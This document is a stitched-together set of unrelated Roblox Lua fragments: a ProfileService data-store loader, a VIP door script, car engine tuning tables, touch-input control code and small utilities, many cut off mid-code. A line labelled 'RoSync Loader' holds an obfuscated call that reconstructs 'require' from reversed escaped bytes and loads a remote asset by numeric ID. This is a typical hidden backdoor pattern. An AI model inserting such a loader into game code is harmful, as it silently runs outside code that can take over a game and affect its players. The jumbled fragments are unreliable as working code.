function ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore] local profile_store_name local profile_store_scope = nil -- Parsing profile_store_index: if type(profile_store_index) == "string" then -- profile_store_index as string: profile_store_name = profile_store_index elseif type(profile_store_index) == "table" then -- profile_store_index as table: profile_store_name = profile_store_index.Name profile_store_scope = profile_store_index.Scope else error("[ProfileService]: Invalid or missing profile_store_index") end -- Type checking: if profile_store_name == nil or type(profile_store_name) ~= "string" then error("[ProfileService]: Missing or invalid \"Name\" parameter") elseif string.len(profile_store_name) == 0 then error("[ProfileService]: ProfileStore name cannot be an empty string") end if profile_store_scope ~= nil and (type(profile_store_scope) ~= "string" or string.len(profile_store_scope) == 0) then error("[ProfileService]: Invalid \"Scope\" parameter") end if type(profile_template) ~= "table" then error("[ProfileService]: Invalid profile_template") end local profile_store profile_store = { Mock = { LoadProfileAsync = function(_, profile_key, not_released_handler) return profile_store:LoadProfileAsync(profile_key, not_released_handler, UseMockTag) end, GlobalUpdateProfileAsync = function(_, profile_key, update_handler) return profile_store:GlobalUpdateProfileAsync(profile_key, update_handler, UseMockTag) end, ViewProfileAsync = function(_, profile_key, version) return profile_store:ViewProfileAsync(profile_key, version, UseMockTag) end, FindProfileVersionAsync = function(_, profile_key, sort_direction, min_date, max_date) return profile_store:FindProfileVersionAsync(profile_key, sort_direction, min_date, max_date, UseMockTag) end, WipeProfileAsync = function(_, profile_key) return profile_store:WipeProfileAsync(profile_key, UseMockTag) end }, _profile_store_name = profile_store_name, _profile_store_scope = profile_store_scope, _profile_store_lookup = profile_store_name .. "\0" .. (profile_store_scope or ""), _profile_template = profile_template, _global_data_store = nil, _loaded_profiles = {}, _profile_load_jobs = {}, _mock_loaded_profiles = {}, _mock_profile_load_jobs = {}, _is_pending = false, } setmetatable(profile_store, ProfileStore) local options = Instance.new("DataStoreOptions") options:SetExperimentalFeatures({v2 = true}) if IsLiveCheckActive == true then profile_store._is_pending = true task.spawn(function() WaitForLiveAccessCheck() if UseMockDataStore == false then profile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options) end profile_store._is_pending = false end) else if UseMockDataStore == false then profile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options) end end return profile_store end function ProfileService.IsLive() --> [bool] -- (CAN YIELD!!!) WaitForLiveAccessCheck() return UseMockDataStore == false end
-- list of account names allowed to go through the door.
permission = {"cheslin23t"}--Put your friends name's here. You can add more. function checkOkToLetIn(name) for i = 1,#permission do if (string.upper(name) == string.upper(permission[i])) then return true end end return false end local Door = script.Parent function onTouched(hit) print("Door Hit") local human = hit.Parent:findFirstChild("Humanoid") if (human ~= nil ) then -- a human has touched this door! print("Human touched door") -- test the human's name against the permission list if (checkOkToLetIn(human.Parent.Name)) then print("Human passed test") Door.Transparency = 0.7 Door.CanCollide = false wait(1) -- this is how long the door is open Door.CanCollide = true Door.Transparency = 0 else human.Health= 0 -- delete this line of you want a non-killing VIP door end end end script.Parent.Touched:connect(onTouched)
-- deviation: Object isn't a global in lua, so `Object.is` will never exist
local objectIs = is return objectIs
-- upstream: https://github.com/facebook/react/blob/a89854bc936668d325cac9a22e2ebfa128c7addf/packages/shared/ReactVersion.js --!strict --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
-- OTHER VARIABLES --
local player = game.Players.LocalPlayer local char = script.Parent local hrp = char:WaitForChild("HumanoidRootPart") local humanoid = char:WaitForChild("Humanoid") if char:FindFirstChild("UpperTorso") then return end
--[[ Cache results of a function such that subsequent calls return the cached result rather than call the function again. By default, a cached result is stored for each separate combination of serialized input args. Optionally memoize takes a serializeArgs function which should return a key that the result should be cached with for a given call signature. Return nil to avoid caching the result. ]]
function FunctionUtils.memoize(fn, serializeArgs) assert(type(fn) == "function") serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs assert(type(serializeArgs) == "function") local cache = {} local proxyFunction = function(...) local proxyArgs = {...} local cacheKey = serializeArgs(proxyArgs) if cacheKey == nil then return fn(...) else if cache[cacheKey] == nil then cache[cacheKey] = fn(...) end return cache[cacheKey] end end return proxyFunction end
--[[ Touch Events ]]-- -- On touch devices we need to recreate the guis on character load.
local lastControlState = nil LocalPlayer.CharacterAdded:connect(function(character) if UserInputService.TouchEnabled then createTouchGuiContainer() end if ControlState.Current == nil then ControlState:SwitchTo(lastControlState) end end) LocalPlayer.CharacterRemoving:connect(function(character) lastControlState = ControlState.Current ControlState:SwitchTo(nil) end) UserInputService.Changed:connect(function(property) if property == 'ModalEnabled' then IsModalEnabled = UserInputService.ModalEnabled if lastInputType == Enum.UserInputType.Touch then if ControlState.Current == ControlModules.Touch and IsModalEnabled then ControlState:SwitchTo(nil) elseif ControlState.Current == nil and not IsModalEnabled then ControlState:SwitchTo(ControlModules.Touch) end end end end) if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged.Event:connect(function(isOn) if lastInputType == Enum.UserInputType.Touch and ClickToMoveTouchControls then if isOn then ControlState:SwitchTo(ClickToMoveTouchControls) else ControlState:SwitchTo(nil) end end end) end local switchToInputType = function(newLastInputType) lastInputType = newLastInputType if lastInputType == Enum.UserInputType.Touch then ControlState:SwitchTo(ControlModules.Touch) elseif lastInputType == Enum.UserInputType.Keyboard or lastInputType == Enum.UserInputType.MouseButton1 or lastInputType == Enum.UserInputType.MouseButton2 or lastInputType == Enum.UserInputType.MouseButton3 or lastInputType == Enum.UserInputType.MouseWheel or lastInputType == Enum.UserInputType.MouseMovement then ControlState:SwitchTo(ControlModules.Keyboard) elseif lastInputType == Enum.UserInputType.Gamepad1 or lastInputType == Enum.UserInputType.Gamepad2 or lastInputType == Enum.UserInputType.Gamepad3 or lastInputType == Enum.UserInputType.Gamepad4 then ControlState:SwitchTo(ControlModules.Gamepad) end end if IsTouchDevice then createTouchGuiContainer() end MasterControl:Init() UserInputService.GamepadDisconnected:connect(function(gamepadEnum) local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then return end if UserInputService.KeyboardEnabled then ControlState:SwitchTo(ControlModules.Keyboard) elseif IsTouchDevice then ControlState:SwitchTo(ControlModules.Touch) end end) UserInputService.GamepadConnected:connect(function(gamepadEnum) ControlState:SwitchTo(ControlModules.Gamepad) end) switchToInputType(UserInputService:GetLastInputType()) UserInputService.LastInputTypeChanged:connect(switchToInputType)
--[[Engine]]
--Torque Curve Tune.Horsepower = 900-- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6800 Tune.PeakSharpness = 3.8 Tune.CurveMult = 0.07 --Incline Compensation Tune.InclineComp = .5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 250 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 150 -- Clutch engagement threshold (higher = faster response)
--[[Engine]]
--Torque Curve Tune.Horsepower = 169 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 5500 -- Use sliders to manipulate values Tune.Redline = 6500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 1 -- Clutch engagement threshold (higher = faster response)
-- Written By Kip Turner, Copyright Roblox 2014
local UIS = game:GetService("UserInputService") local PathfindingService = game:GetService("PathfindingService") local PlayerService = game:GetService("Players") local RunService = game:GetService("RunService") local DebrisService = game:GetService('Debris') local ReplicatedStorage = game:GetService('ReplicatedStorage') local CameraScript = script.Parent local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera')) local Player = PlayerService.localPlayer local MyMouse = Player:GetMouse() local DirectPathEnabled = false local SHOW_PATH = false local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList local GetPartsTouchingExtents = workspace.FindPartsInRegion3
-- دالة الاصطدام
local function onTouched(part) local humanoid = part.Parent:FindFirstChild("Humanoid") if humanoid then -- تشغيل التزعزع والسقوط في ترتيب متتالي shake() wait(0.5) -- انتظار قصير قبل السقوط لإعطاء انطباع التزعزع fall() end end
--[[ Returns the Window's model ]]
function Window:getModel() return self._model end
--[[ Last synced 3/7/2021 09:51 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--script.Parent.EE.Velocity = script.Parent.EE.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.EEE.Velocity = script.Parent.EEE.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.EEEE.Velocity = script.Parent.EEEE.CFrame.lookVector *script.Parent.Speed.Value script.Parent.F.Velocity = script.Parent.F.CFrame.lookVector *script.Parent.Speed.Value
--- Player added function
local function PlayerAdded(player) if isStudio or _L.Admins.IsAdmin(player) then GiveGui(player) end end
-- Signals
okButton.InputBegan:Connect(closeDlg) displayRoundResult.OnClientEvent:Connect(openDlg)
----------------- --| Constants |-- -----------------
local COOLDOWN = 0 -- Seconds until tool can be used again
-- humanoidAnimatePlayEmote.lua
local Figure = script.Parent